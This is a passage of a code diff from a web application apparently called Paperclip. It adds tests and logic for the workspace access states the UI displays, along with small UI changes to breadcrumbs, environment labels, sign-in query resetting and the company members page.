+    lastUsedAt: new Date("2026-08-19T00:00:00.000Z"),
+    startedAt: new Date("2026-08-19T00:00:00.000Z"),
+    stoppedAt: null,
+    stopPolicy: null,
+    healthStatus: "healthy",
+    createdAt: new Date("2026-08-19T00:00:00.000Z"),
+    updatedAt: new Date("2026-08-19T00:00:00.000Z"),
+    ...overrides,
+  };
+}
+
+function operation(overrides: Partial<WorkspaceOperation> = {}): WorkspaceOperation {
+  return {
+    id: "op-1",
+    companyId: "company-1",
+    executionWorkspaceId: "ews-1",
+    heartbeatRunId: null,
+    issueId: null,
+    phase: "workspace_seed",
+    command: null,
+    cwd: null,
+    status: "succeeded",
+    exitCode: 0,
+    logStore: null,
+    logRef: null,
+    logBytes: null,
+    logSha256: null,
+    logCompressed: false,
+    stdoutExcerpt: null,
+    stderrExcerpt: null,
+    metadata: null,
+    startedAt: new Date("2026-08-19T00:00:00.000Z"),
+    finishedAt: new Date("2026-08-19T00:01:00.000Z"),
+    createdAt: new Date("2026-08-19T00:00:00.000Z"),
+    updatedAt: new Date("2026-08-19T00:01:00.000Z"),
+    ...overrides,
+  };
+}
+
+describe("resolveWorkspaceAccessState", () => {
+  it("is ready with a password-independent open action when a healthy runtime publishes a URL", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService()],
+      operations: [operation()],
+    });
+    expect(access).toMatchObject({
+      state: "ready",
+      action: { kind: "open", label: "Open workspace" },
+      handoffAvailable: true,
+    });
+    expect(access.description).toContain("without a password");
+  });
+
+  it("shows a repair-in-progress state with the current phase and no action", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService()],
+      operations: [
+        operation({ phase: "workspace_repair", status: "running", metadata: { repairPhase: "full_reseed" } }),
+      ],
+    });
+    expect(access.state).toBe("repairing");
+    expect(access.description).toContain("full_reseed");
+    expect(access.description).toContain("preserved");
+    expect(access.action.kind).toBe("wait");
+  });
+
+  it("shows a failed repair with the failing phase and points at the log", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [],
+      operations: [
+        operation({ phase: "workspace_repair", status: "failed", metadata: { repairPhase: "readiness_validation" } }),
+      ],
+    });
+    expect(access).toMatchObject({ state: "failed", action: { kind: "view_logs" } });
+    expect(access.title).toBe("Repair failed");
+    expect(access.description).toContain("readiness_validation");
+    expect(access.description).toContain("backup");
+  });
+
+  it("returns to ready after a failed repair when a newer healthy runtime is serving", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService({ startedAt: new Date("2026-08-19T00:03:00.000Z") })],
+      operations: [
+        operation({
+          phase: "workspace_repair",
+          status: "failed",
+          metadata: { repairPhase: "managed_restart" },
+          finishedAt: new Date("2026-08-19T00:02:00.000Z"),
+        }),
+      ],
+    });
+
+    expect(access).toMatchObject({
+      state: "ready",
+      action: { kind: "open", label: "Open workspace" },
+      secondaryNotice: {
+        title: "Repair failed",
+        action: { kind: "view_logs", label: "View repair log" },
+      },
+    });
+    expect(access.secondaryNotice?.description).toContain("managed_restart");
+    expect(access.secondaryNotice?.description).toContain("backup");
+  });
+
+  it("returns to ready when a serving runtime has subsequently reported ready", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService({ startedAt: new Date("2026-08-19T00:01:00.000Z") })],
+      operations: [
+        operation({
+          phase: "workspace_repair",
+          status: "failed",
+          metadata: { repairPhase: "managed_restart" },
+          finishedAt: new Date("2026-08-19T00:02:00.000Z"),
+        }),
+      ],
+      handoffFailure: {
+        reason: "workspace_not_ready",
+        readiness: {
+          state: "ready",
+          databaseReady: true,
+          cloneDataReady: true,
+          authHandoffReady: true,
+          authHandoffUserId: null,
+          seedState: "verified",
+          seedPhase: "complete",
+          seedMode: "full",
+          instanceId: "instance-a",
+          executionWorkspaceId: "ews-1",
+          companyId: "company-1",
+          failurePhase: null,
+        },
+      },
+    });
+
+    expect(access).toMatchObject({ state: "ready", action: { kind: "open" } });
+    expect(access.secondaryNotice?.action.kind).toBe("view_logs");
+  });
+
+  it("keeps a newer failed repair primary even when an older runtime is healthy", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService({ startedAt: new Date("2026-08-19T00:01:00.000Z") })],
+      operations: [
+        operation({
+          phase: "workspace_repair",
+          status: "failed",
+          finishedAt: new Date("2026-08-19T00:02:00.000Z"),
+        }),
+      ],
+    });
+
+    expect(access).toMatchObject({ state: "failed", action: { kind: "view_logs" } });
+    expect(access.secondaryNotice).toBeUndefined();
+  });
+
+  it("shows provisioning while the clone is restoring", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [],
+      operations: [operation({ status: "running" })],
+    });
+    expect(access).toMatchObject({ state: "provisioning", action: { kind: "wait" } });
+    expect(access.title).toBe("Provisioning database");
+  });
+
+  it("offers a repair when provisioning failed, naming the seed phase", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [],
+      operations: [operation({ status: "failed", metadata: { seedFailurePhase: "restore" } })],
+    });
+    expect(access).toMatchObject({ state: "failed", action: { kind: "repair", label: "Repair workspace" } });
+    expect(access.description).toContain("restore");
+  });
+
+  it("returns to ready after a failed seed when a later repair succeeded and a healthy runtime is serving", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService({ startedAt: new Date("2026-08-20T00:18:00.000Z") })],
+      operations: [
+        operation({
+          id: "repair-1",
+          phase: "workspace_repair",
+          status: "succeeded",
+          startedAt: new Date("2026-08-20T00:10:00.000Z"),
+          finishedAt: new Date("2026-08-20T00:17:31.000Z"),
+        }),
+        operation({
+          id: "seed-1",
+          phase: "workspace_seed",
+          status: "failed",
+          metadata: { seedFailurePhase: "manifest_verification" },
+          startedAt: new Date("2026-08-20T00:02:00.000Z"),
+          finishedAt: new Date("2026-08-20T00:04:37.000Z"),
+        }),
+      ],
+    });
+
+    expect(access).toMatchObject({
+      state: "ready",
+      action: { kind: "open", label: "Open workspace" },
+      secondaryNotice: {
+        title: "Database provisioning failed",
+        action: { kind: "view_logs", label: "View provisioning log" },
+      },
+    });
+    expect(access.secondaryNotice?.description).toContain("manifest_verification");
+    expect(access.secondaryNotice?.description).toContain("later became usable");
+  });
+
+  it("does not offer repair for a stale failed seed after a later successful repair", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [],
+      operations: [
+        operation({
+          id: "repair-1",
+          phase: "workspace_repair",
+          status: "succeeded",
+          finishedAt: new Date("2026-08-20T00:17:31.000Z"),
+        }),
+        operation({
+          id: "seed-1",
+          phase: "workspace_seed",
+          status: "failed",
+          finishedAt: new Date("2026-08-20T00:04:37.000Z"),
+        }),
+      ],
+    });
+
+    expect(access).toMatchObject({
+      state: "provisioning",
+      action: { kind: "start", label: "Start workspace" },
+    });
+  });
+
+  it("returns to ready when a healthy runtime proves a failed seed is stale", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService()],
+      operations: [operation({ status: "failed" })],
+    });
+
+    expect(access).toMatchObject({
+      state: "ready",
+      action: { kind: "open", label: "Open workspace" },
+      secondaryNotice: {
+        title: "Database provisioning failed",
+        action: { kind: "view_logs" },
+      },
+    });
+  });
+
+  it("shows validating, not degraded, while a fresh clone is still being confirmed", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService()],
+      operations: [operation()],
+      handoffFailure: {
+        reason: "workspace_not_ready",
+        detail: "clone_data_missing",
+        readiness: {
+          state: "validating",
+          databaseReady: true,
+          cloneDataReady: false,
+          authHandoffReady: true,
+          authHandoffUserId: null,
+          seedState: "unknown",
+          seedPhase: "legacy_complete_marker",
+          seedMode: null,
+          instanceId: "instance-a",
+          executionWorkspaceId: "ews-1",
+          companyId: "company-1",
+          failurePhase: "clone_data_missing",
+        },
+      },
+    });
+    expect(access).toMatchObject({ state: "validating", action: { kind: "wait" } });
+    expect(access.description).toContain("restored no company or issue rows");
+  });
+
+  it("degrades a verified clone whose database regressed and offers one repair", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService()],
+      operations: [operation()],
+      handoffFailure: {
+        reason: "workspace_not_ready",
+        detail: "database_unreachable",
+        readiness: {
+          state: "degraded",
+          databaseReady: false,
+          cloneDataReady: false,
+          authHandoffReady: false,
+          authHandoffUserId: null,
+          seedState: "verified",
+          seedPhase: "complete",
+          seedMode: "minimal",
+          instanceId: "instance-a",
+          executionWorkspaceId: "ews-1",
+          companyId: "company-1",
+          failurePhase: "database_unreachable",
+        },
+      },
+    });
+    expect(access).toMatchObject({ state: "degraded", action: { kind: "repair" } });
+    expect(access.description).toContain("isolated database is not answering");
+  });
+
+  it("labels the credential path accurately when no handoff is configured", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService()],
+      operations: [operation()],
+      handoffFailure: { reason: "handoff_not_configured" },
+    });
+    expect(access).toMatchObject({
+      state: "ready",
+      action: { kind: "open" },
+      handoffAvailable: false,
+    });
+    expect(access.description).toContain("snapshot-local credentials");
+  });
+
+  it("offers start when nothing is running", () => {
+    expect(
+      resolveWorkspaceAccessState({ runtimeServices: [], operations: [] }),
+    ).toMatchObject({ state: "provisioning", action: { kind: "start", label: "Start workspace" } });
+
+    expect(
+      resolveWorkspaceAccessState({
+        runtimeServices: [],
+        operations: [],
+        handoffFailure: { reason: "runtime_not_running" },
+      }),
+    ).toMatchObject({ state: "provisioning", action: { kind: "start" } });
+  });
+
+  it("refuses to call an unhealthy running runtime ready", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService({ healthStatus: "unhealthy" })],
+      operations: [operation()],
+    });
+    expect(access).toMatchObject({ state: "degraded", action: { kind: "repair" } });
+  });
+
+  it("treats a running service with no URL as not yet serving", () => {
+    const access = resolveWorkspaceAccessState({
+      runtimeServices: [runtimeService({ url: null })],
+      operations: [operation()],
+    });
+    expect(access.state).not.toBe("ready");
+  });
+
+  it("handles missing operations and services without throwing", () => {
+    expect(resolveWorkspaceAccessState({ runtimeServices: null, operations: undefined }).state)
+      .toBe("provisioning");
+  });
+});
+
+describe("describeWorkspaceReadinessCause", () => {
+  it("prefers the recorded readiness phase over the generic reason", () => {
+    expect(
+      describeWorkspaceReadinessCause({
+        reason: "workspace_not_ready",
+        readiness: {
+          state: "degraded",
+          databaseReady: true,
+          cloneDataReady: true,
+          authHandoffReady: false,
+          authHandoffUserId: null,
+          seedState: "verified",
+          seedPhase: "complete",
+          seedMode: "minimal",
+          instanceId: "i",
+          executionWorkspaceId: "e",
+          companyId: "company-1",
+          failurePhase: "cloned_membership_missing",
+        },
+      }),
+    ).toBe("No cloned user has an active company membership.");
+  });
+
+  it("falls back to the reason and finally to null", () => {
+    expect(describeWorkspaceReadinessCause({ reason: "runtime_not_running" }))
+      .toContain("No healthy runtime service");
+    expect(describeWorkspaceReadinessCause({ reason: "something_new" })).toBeNull();
+    expect(describeWorkspaceReadinessCause(null)).toBeNull();
+  });
+});
diff --git a/ui/src/lib/workspace-access-state.ts b/ui/src/lib/workspace-access-state.ts
new file mode 100644
index 00000000000..049974e7a25
--- /dev/null
+++ b/ui/src/lib/workspace-access-state.ts
@@ -0,0 +1,301 @@
+import type {
+  WorkspaceOperation,
+  WorkspaceReadiness,
+  WorkspaceReadinessState,
+  WorkspaceRuntimeService,
+} from "@paperclipai/shared";
+
+/**
+ * Derives the workspace access state the UI shows (PAP-17572).
+ *
+ * The board cannot read a cloned workspace's protected health directly, so state
+ * comes from three server-side facts it *can* see: the live runtime rows, the
+ * workspace operation log, and the readiness the control plane reported when it
+ * last tried to mint a login handoff.
+ *
+ * Every state carries one concrete next action. The failure this replaces was a
+ * generic "Load failed" (or worse, a green badge) that told an operator nothing
+ * about whether to wait, start, repair, or read a log.
+ */
+
+export type WorkspaceAccessActionKind =
+  | "open"
+  | "start"
+  | "repair"
+  | "view_logs"
+  /** Nothing to do but wait for a running operation. */
+  | "wait";
+
+export type WorkspaceAccessAction = {
+  kind: WorkspaceAccessActionKind;
+  label: string;
+};
+
+export type WorkspaceAccessNotice = {
+  title: string;
+  description: string;
+  action: WorkspaceAccessAction;
+};
+
+export type WorkspaceAccessState = {
+  state: WorkspaceReadinessState;
+  title: string;
+  description: string;
+  action: WorkspaceAccessAction;
+  /** True when a password-independent handoff is the expected way in. */
+  handoffAvailable: boolean;
+  /** A non-blocking historical failure that is still useful to inspect. */
+  secondaryNotice?: WorkspaceAccessNotice;
+};
+
+/** What the control plane said the last time a handoff was requested. */
+export type WorkspaceLoginHandoffFailureInfo = {
+  reason: string;
+  detail?: string | null;
+  readiness?: WorkspaceReadiness | null;
+};
+
+function latestOperation(operations: WorkspaceOperation[], phase: WorkspaceOperation["phase"]) {
+  return operations.find((operation) => operation.phase === phase) ?? null;
+}
+
+function describeSeedPhase(readiness: WorkspaceReadiness | null | undefined): string | null {
+  if (!readiness?.failurePhase && !readiness?.seedPhase) return null;
+  return readiness.failurePhase ?? readiness.seedPhase ?? null;
+}
+
+function timestampMs(value: Date | string | null | undefined): number | null {
+  if (!value) return null;
+  const timestamp = value instanceof Date ? value.getTime() : new Date(value).getTime();
+  return Number.isFinite(timestamp) ? timestamp : null;
+}
+
+function failedRepairNotice(repair: WorkspaceOperation): WorkspaceAccessNotice {
+  const phase = typeof repair.metadata?.repairPhase === "string" ? repair.metadata.repairPhase : null;
+  return {
+    title: "Repair failed",
+    description: phase
+      ? `The repair stopped during ${phase}. The pre-repair backup was kept.`
+      : "The repair stopped before the workspace became usable. The pre-repair backup was kept.",
+    action: { kind: "view_logs", label: "View repair log" },
+  };
+}
+
+function failedProvisionNotice(provision: WorkspaceOperation): WorkspaceAccessNotice {
+  const phase = typeof provision.metadata?.seedFailurePhase === "string"
+    ? provision.metadata.seedFailurePhase
+    : null;
+  return {
+    title: "Database provisioning failed",
+    description: phase
+      ? `The earlier clone attempt failed during ${phase}. The workspace later became usable.`
+      : "An earlier clone attempt failed, but the workspace later became usable.",
+    action: { kind: "view_logs", label: "View provisioning log" },
+  };
+}
+
+const HANDOFF_REASON_COPY: Record<string, string> = {
+  handoff_not_configured:
+    "This instance has no workspace login handoff configured, so opening the board falls back to snapshot-local credentials.",
+  no_board_identity:
+    "Your session has no cloned user to sign in as, so opening the board falls back to snapshot-local credentials.",
+  runtime_not_running: "No healthy runtime service is publishing a URL for this workspace yet.",
+  runtime_url_unusable: "The runtime row is publishing a URL Paperclip cannot open.",
+  workspace_not_ready: "The cloned database is not ready to accept a login yet.",
+};
+
+const READINESS_FAILURE_COPY: Record<string, string> = {
+  database_unreachable: "The isolated database is not answering.",
+  clone_data_missing: "The clone restored no company or issue rows.",
+  clone_data_unreadable: "The cloned product tables could not be read.",
+  cloned_membership_missing: "No cloned user has an active company membership.",
+  cloned_identity_unreadable: "The cloned identity tables could not be read.",
+  auth_handoff_not_configured: "The workspace was started without a login handoff key.",
+  seed_manifest_unreadable: "The seed manifest is unreadable, so the restore cannot be trusted.",
+};
+
+/**
+ * Human cause for a readiness rejection, preferring the specific recorded phase
+ * over a generic sentence so the copy names what to fix.
+ */
+export function describeWorkspaceReadinessCause(
+  failure: WorkspaceLoginHandoffFailureInfo | null | undefined,
+): string | null {
+  if (!failure) return null;
+  const phase = describeSeedPhase(failure.readiness);
+  if (phase && READINESS_FAILURE_COPY[phase]) return READINESS_FAILURE_COPY[phase];
+  if (phase) return `Last recorded phase: ${phase}.`;
+  if (failure.detail && READINESS_FAILURE_COPY[failure.detail]) return READINESS_FAILURE_COPY[failure.detail];
+  return HANDOFF_REASON_COPY[failure.reason] ?? null;
+}
+
+export function resolveWorkspaceAccessState(input: {
+  runtimeServices: WorkspaceRuntimeService[] | null | undefined;
+  operations: WorkspaceOperation[] | null | undefined;
+  handoffFailure?: WorkspaceLoginHandoffFailureInfo | null;
+}): WorkspaceAccessState {
+  const operations = input.operations ?? [];
+  const runtimeServices = input.runtimeServices ?? [];
+  const repair = latestOperation(operations, "workspace_repair");
+  const provision =
+    latestOperation(operations, "workspace_seed")
+    ?? latestOperation(operations, "workspace_runtime_provision")
+    ?? latestOperation(operations, "workspace_provision");
+  const failure = input.handoffFailure ?? null;
+  const cause = describeWorkspaceReadinessCause(failure);
+  const handoffAvailable = failure?.reason !== "handoff_not_configured" && failure?.reason !== "no_board_identity";
+  const servingService = runtimeServices.find(
+    (service) => service.status === "running" && service.healthStatus === "healthy" && service.url,
+  );
+  const repairFinishedAt = timestampMs(repair?.finishedAt);
+  const servingServiceStartedAt = timestampMs(servingService?.startedAt);
+  const provisionFinishedAt = timestampMs(provision?.finishedAt);
+  const readinessConfirmsServing = Boolean(servingService && failure?.readiness?.state === "ready");
+  const runtimeStartedAfterRepair = repairFinishedAt !== null
+    && servingServiceStartedAt !== null
+    && repairFinishedAt < servingServiceStartedAt;
+  const repairFailureWasSuperseded = repair?.status === "failed" && Boolean(
+    servingService
+    && (readinessConfirmsServing || runtimeStartedAfterRepair),
+  );
+  const successfulRepairFinishedAt = repair?.status === "succeeded"
+    ? timestampMs(repair.finishedAt)
+    : null;
+  // A failed seed is historical once the workspace is demonstrably serving,
+  // or once a later repair has replaced and revalidated that database.
+  const provisionFailureWasSuperseded = provision?.status === "failed" && Boolean(
+    servingService
+    || (
+      provisionFinishedAt !== null
+      && successfulRepairFinishedAt !== null
+      && provisionFinishedAt < successfulRepairFinishedAt
+    ),
+  );
+  const secondaryNotice = repair?.status === "failed" && repairFailureWasSuperseded
+    ? failedRepairNotice(repair)
+    : provision?.status === "failed" && provisionFailureWasSuperseded
+      ? failedProvisionNotice(provision)
+      : undefined;
+
+  // A live repair outranks everything: it is already changing the answer.
+  if (repair?.status === "running") {
+    const phase = typeof repair.metadata?.repairPhase === "string" ? repair.metadata.repairPhase : null;
+    return {
+      state: "repairing",
+      title: "Repairing workspace database",
+      description: phase
+        ? `Only the isolated database is replaced; the git worktree and your files are preserved. Current phase: ${phase}.`
+        : "Only the isolated database is replaced; the git worktree and your files are preserved.",
+      action: { kind: "wait", label: "Repair in progress" },
+      handoffAvailable,
+    };
+  }
+  if (repair?.status === "failed" && !repairFailureWasSuperseded) {
+    const notice = failedRepairNotice(repair);
+    return {
+      state: "failed",
+      ...notice,
+      handoffAvailable,
+    };
+  }
+
+  if (provision?.status === "running") {
+    return {
+      state: "provisioning",
+      title: "Provisioning database",
+      description: "Restoring the isolated database clone for this workspace. This runs once before the first start.",
+      action: { kind: "wait", label: "Provisioning" },
+      handoffAvailable,
+    };
+  }
+  if (provision?.status === "failed" && !provisionFailureWasSuperseded) {
+    const seedPhase = typeof provision.metadata?.seedFailurePhase === "string"
+      ? provision.metadata.seedFailurePhase
+      : null;
+    return {
+      state: "failed",
+      title: "Database provisioning failed",
+      description: seedPhase
+        ? `The clone failed during ${seedPhase}. Repairing replaces only the isolated database.`
+        : "The clone did not finish, so this workspace has no usable database yet.",
+      action: { kind: "repair", label: "Repair workspace" },
+      handoffAvailable,
+    };
+  }
+
+  // Readiness the control plane actually observed beats anything inferred from
+  // runtime rows, because it is the only signal that looked inside the clone.
+  const staleNotReadyFailure = failure?.reason === "workspace_not_ready" && readinessConfirmsServing;
+  if (failure && !staleNotReadyFailure) {
+    if (failure.reason === "runtime_not_running" && !servingService) {
+      return {
+        state: "provisioning",
+        title: "Workspace is not running",
+        description: "Start the workspace runtime to publish its board.",
+        action: { kind: "start", label: "Start workspace" },
+        handoffAvailable,
+      };
+    }
+    if (failure.reason === "workspace_not_ready" || failure.reason === "runtime_url_unusable") {
+      const readinessState = failure.readiness?.state;
+      const validating = readinessState === "validating" || readinessState === "provisioning";
+      return {
+        state: validating ? "validating" : "degraded",
+        title: validating ? "Validating clone" : "Workspace is degraded",
+        description: [
+          cause ?? "The workspace is serving, but its clone did not pass the readiness contract.",
+          validating ? "Paperclip is still confirming the clone." : "One bounded repair replaces the isolated database.",
+        ].join(" "),
+        action: validating
+          ? { kind: "wait", label: "Validating" }
+          : { kind: "repair", label: "Repair workspace" },
+        handoffAvailable,
+      };
+    }
+    if (!handoffAvailable) {
+      return {
+        state: servingService ? "ready" : "degraded",
+        title: servingService ? "Ready — snapshot-local sign-in" : "Workspace is degraded",
+        description: cause ?? "Opening the board will ask for the credentials captured in this snapshot.",
+        action: servingService
+          ? { kind: "open", label: "Open workspace" }
+          : { kind: "start", label: "Start workspace" },
+        handoffAvailable: false,
+        secondaryNotice,
+      };
+    }
+  }
+
+  if (servingService) {
+    return {
+      state: "ready",
+      title: "Ready",
+      description: "Opening the workspace signs you in to the cloned board without a password.",
+      action: { kind: "open", label: "Open workspace" },
+      handoffAvailable,
+      secondaryNotice,
+    };
+  }
+
+  const unhealthyService = runtimeServices.find(
+    (service) => service.status === "running" && service.healthStatus !== "healthy",
+  );
+  if (unhealthyService) {
+    return {
+      state: "degraded",
+      title: "Workspace is degraded",
+      description: cause
+        ?? "The runtime is up but did not report a usable database, so Paperclip will not publish it as ready.",
+      action: { kind: "repair", label: "Repair workspace" },
+      handoffAvailable,
+    };
+  }
+
+  return {
+    state: "provisioning",
+    title: "Workspace is not running",
+    description: "Start the workspace runtime to publish its board.",
+    action: { kind: "start", label: "Start workspace" },
+    handoffAvailable,
+  };
+}
diff --git a/ui/src/pages/AdapterManager.tsx b/ui/src/pages/AdapterManager.tsx
index 6f75891dce4..57ab9fa3368 100644
--- a/ui/src/pages/AdapterManager.tsx
+++ b/ui/src/pages/AdapterManager.tsx
@@ -271,7 +271,6 @@ export function AdapterManager() {
     setBreadcrumbs([
       { label: selectedCompany?.name ?? "Company", href: "/dashboard" },
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings", href: "/company/settings/instance/general" },
       { label: "Adapters" },
     ]);
   }, [selectedCompany?.name, setBreadcrumbs]);
@@ -397,7 +396,7 @@ export function AdapterManager() {
   const isMutating = installMutation.isPending || removeMutation.isPending || toggleMutation.isPending || overrideMutation.isPending || reloadMutation.isPending || reinstallMutation.isPending;
 
   return (
-    <div className="space-y-6 max-w-5xl">
+    <div className="max-w-6xl space-y-6">
       {/* Header */}
       <div className="flex items-center justify-between">
         <div className="flex items-center gap-2">
diff --git a/ui/src/pages/Agents.test.tsx b/ui/src/pages/Agents.test.tsx
index 7e01249a000..e01ccc43a1b 100644
--- a/ui/src/pages/Agents.test.tsx
+++ b/ui/src/pages/Agents.test.tsx
@@ -193,6 +193,7 @@ const environmentCapabilities: EnvironmentCapabilities = {
       interactiveSetupConnectionTypes: [],
       supportsTemplateCapture: false,
       supportsTemplateDelete: false,
+      supportsLoginPty: false,
       displayName: "Fake",
       source: "builtin",
     },
@@ -206,6 +207,7 @@ const environmentCapabilities: EnvironmentCapabilities = {
       interactiveSetupConnectionTypes: ["ssh"],
       supportsTemplateCapture: true,
       supportsTemplateDelete: true,
+      supportsLoginPty: true,
       displayName: "Daytona",
       source: "plugin",
     },
diff --git a/ui/src/pages/Agents.tsx b/ui/src/pages/Agents.tsx
index f22cadd3ee9..8e519f538b9 100644
--- a/ui/src/pages/Agents.tsx
+++ b/ui/src/pages/Agents.tsx
@@ -11,6 +11,7 @@ import { useDialogActions } from "../context/DialogContext";
 import { useBreadcrumbs } from "../context/BreadcrumbContext";
 import { useSidebar } from "../context/SidebarContext";
 import { queryKeys } from "../lib/queryKeys";
+import { isPlatformManagedEnvironment } from "../lib/managed-sandbox-environment";
 import { AgentStatusBadge, AgentStatusCapsule } from "../components/StatusBadge";
 import { AgentActionButtons } from "../components/AgentActionButtons";
 import { MembershipAction } from "../components/MembershipAction";
@@ -129,11 +130,13 @@ function describeEnvironment(
   environment: Environment,
   capabilities?: EnvironmentCapabilities | null,
 ): EnvironmentDescriptor {
-  const detail = environment.driver === "sandbox"
-    ? `${getSandboxProviderLabel(environment, capabilities)} sandbox provider`
-    : environment.driver === "local"
-      ? "Paperclip host"
-      : formatEnvironmentDriver(environment.driver);
+  const detail = isPlatformManagedEnvironment(environment)
+    ? "Managed by Paperclip"
+    : environment.driver === "sandbox"
+      ? `${getSandboxProviderLabel(environment, capabilities)} sandbox provider`
+      : environment.driver === "local"
+        ? "Paperclip host"
+        : formatEnvironmentDriver(environment.driver);
 
   return {
     label: environment.name,
diff --git a/ui/src/pages/Auth.tsx b/ui/src/pages/Auth.tsx
index 670677ea33e..bbd4707a4a7 100644
--- a/ui/src/pages/Auth.tsx
+++ b/ui/src/pages/Auth.tsx
@@ -55,7 +55,11 @@ export function AuthPage() {
       setError(null);
       await queryClient.invalidateQueries({ queryKey: queryKeys.auth.session });
       await queryClient.invalidateQueries({ queryKey: queryKeys.health });
-      await queryClient.invalidateQueries({ queryKey: queryKeys.companies.all });
+      // Reset rather than invalidate: the `["companies"]` entry is shared app-wide and
+      // is not account-scoped, so invalidating leaves the previous account's list
+      // readable (and any fetch for that session in flight) until the refetch lands.
+      // Sign-in can change accounts, so drop the list outright.
+      await queryClient.resetQueries({ queryKey: queryKeys.companies.all });
       navigate(nextPath, { replace: true });
     },
     onError: (err) => {
diff --git a/ui/src/pages/BootstrapSetupUxLab.tsx b/ui/src/pages/BootstrapSetupUxLab.tsx
index d13b8971429..4d20299c7fc 100644
--- a/ui/src/pages/BootstrapSetupUxLab.tsx
+++ b/ui/src/pages/BootstrapSetupUxLab.tsx
@@ -143,7 +143,7 @@ function ClaimErrorPrivate() {
           <p className="font-medium">Someone else has already claimed this instance.</p>
           <p className="mt-1 text-destructive/90">
             Refresh to sign in, or ask the existing admin to invite you from{" "}
-            <span className="font-mono">Instance settings → Access</span>.
+            <span className="font-mono">Settings → Access</span>.
           </p>
         </div>
       </div>
diff --git a/ui/src/pages/CompanyAccess.test.tsx b/ui/src/pages/CompanyAccess.test.tsx
index 73f9e3f4fea..e78c252546b 100644
--- a/ui/src/pages/CompanyAccess.test.tsx
+++ b/ui/src/pages/CompanyAccess.test.tsx
@@ -100,7 +100,7 @@ describe("CompanyAccess", () => {
             id: "user-1",
             email: "codexcoder@paperclip.local",
             name: "Codex Coder",
-            image: null,
+            image: "/api/assets/avatar-1/content",
           },
           grants: [],
         },
@@ -191,7 +191,7 @@ describe("CompanyAccess", () => {
     vi.clearAllMocks();
   });
 
-  it("keeps the page human-focused and hides advanced permission controls", async () => {
+  it("renders a compact member table without redundant explanatory copy", async () => {
     const root = createRoot(container);
     const queryClient = new QueryClient({
       defaultOptions: { queries: { retry: false } },
@@ -207,12 +207,14 @@ describe("CompanyAccess", () => {
     await flushReact();
     await flushReact();
 
-    expect(container.textContent).toContain("Manage the people who can work in Paperclip");
-    expect(container.textContent).toContain("Members can collaborate across the company by default");
-    expect(container.textContent).toContain("Core keeps this page focused on membership");
-    expect(container.textContent).toContain("Humans");
+    expect(container.textContent).not.toContain("Manage the people who can work in Paperclip");
+    expect(container.textContent).not.toContain("Members can collaborate across the company by default");
+    expect(container.textContent).not.toContain("Core keeps this page focused on membership");
+    expect(container.textContent).not.toContain("Manage human company memberships and status here");
     expect(container.textContent).toContain("Pending human joins");
-    expect(container.textContent).toContain("User account");
+    expect(container.textContent).toContain("Name");
+    expect(container.textContent).toContain("Email");
+    expect(container.querySelector('[data-slot="avatar"]')).not.toBeNull();
     expect(container.textContent).not.toContain("Grants");
     expect(container.textContent).not.toContain("explicit grants");
     expect(container.textContent).not.toContain("Assign scoped tasks");
@@ -392,12 +394,13 @@ describe("CompanyAccess", () => {
     await flushReact();
     await flushReact();
 
-    expect(container.textContent).toContain("Company admins cannot be removed from company access.");
+    expect(container.textContent).not.toContain("Company admins cannot be removed from company access.");
     const removeButton = Array.from(container.querySelectorAll("button")).find(
       (button) => button.textContent?.includes("Remove"),
     );
     expect(removeButton).toBeTruthy();
     expect(removeButton).toHaveProperty("disabled", true);
+    expect(removeButton?.getAttribute("title")).toBe("Company admins cannot be removed from company access.");
 
     await act(async () => {
       root.unmount();
diff --git a/ui/src/pages/CompanyAccess.tsx b/ui/src/pages/CompanyAccess.tsx
index 24ef4b60619..42087135524 100644
--- a/ui/src/pages/CompanyAccess.tsx
+++ b/ui/src/pages/CompanyAccess.tsx
@@ -4,7 +4,7 @@ import {
   HUMAN_COMPANY_MEMBERSHIP_ROLE_LABELS,
   type Agent,
 } from "@paperclipai/shared";
-import { Shield, ShieldCheck, Trash2, Users } from "lucide-react";
+import { Shield, ShieldCheck, Trash2 } from "lucide-react";
 import { accessApi, type CompanyMember } from "@/api/access";
 import { agentsApi } from "@/api/agents";
 import { ApiError } from "@/api/client";
@@ -19,6 +19,7 @@ import {
   DialogTitle,
 } from "@/components/ui/dialog";
 import { Badge } from "@/components/ui/badge";
+import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar";
 import { useBreadcrumbs } from "@/context/BreadcrumbContext";
 import { useCompany } from "@/context/CompanyContext";
 import { useToast } from "@/context/ToastContext";
@@ -235,38 +236,20 @@ export function CompanyAccess() {
 
   return (
     <div className="max-w-6xl space-y-8">
-      <div className="space-y-3">
-        <div className="flex items-center gap-2">
-          <ShieldCheck className="h-5 w-5 text-muted-foreground" />
-          <h1 className="text-lg font-semibold">Company Members</h1>
-        </div>
-        <p className="max-w-3xl text-sm text-muted-foreground">
-          Manage the people who can work in {selectedCompany?.name}. Members can collaborate across the company by default.
-        </p>
-        <div className="rounded-lg border border-border bg-muted/30 px-4 py-3 text-sm text-muted-foreground">
-          Core keeps this page focused on membership, invite approvals, and safe member removal.
-        </div>
+      <div className="flex items-center gap-2">
+        <ShieldCheck className="h-5 w-5 text-muted-foreground" />
+        <h1 className="text-lg font-semibold">Company Members</h1>
       </div>
 
       {access && !access.currentUserRole && (
-        <div className="rounded-xl border border-amber-500/40 px-4 py-3 text-sm text-amber-800 dark:text-amber-200">
+        <div className="rounded-xl bg-amber-500/10 px-4 py-3 text-sm text-amber-800 dark:text-amber-200">
           This account can manage access here through instance-admin privileges, but it does not currently hold an active company membership.
         </div>
